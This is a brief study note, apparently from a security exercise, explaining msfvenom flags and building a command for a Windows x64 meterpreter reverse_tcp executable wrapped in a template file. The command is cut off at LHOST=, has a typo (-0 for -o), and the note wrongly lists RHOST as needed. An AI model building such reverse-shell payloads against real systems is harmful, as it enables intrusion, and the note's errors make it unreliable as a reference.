MSFVenom

-p= this is used for specifying payload

msfvenom -l payloads= this will show payloads that are available

using grep command we can locate the type of payloads we want. Example | grep x64 | grep reverse

-f=Format. This will be the format of the file that is create. Example -f exe-only

-x=This specifies the template file. Example -x /home/secops/msfvenom.txt

-o=this names the output file. Example -o /home/secops/msfvenom.exe

Setting payload options

You can check options for payload by using the –payload command

For this exercise we need LHOST (local host) and RHOST (remote host)

Building out this first example. We’re attempting to get a reverse shell

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe-only -x home/secops/msfvenom.txt -0 /home/secops/msfvenom.exe LHOST=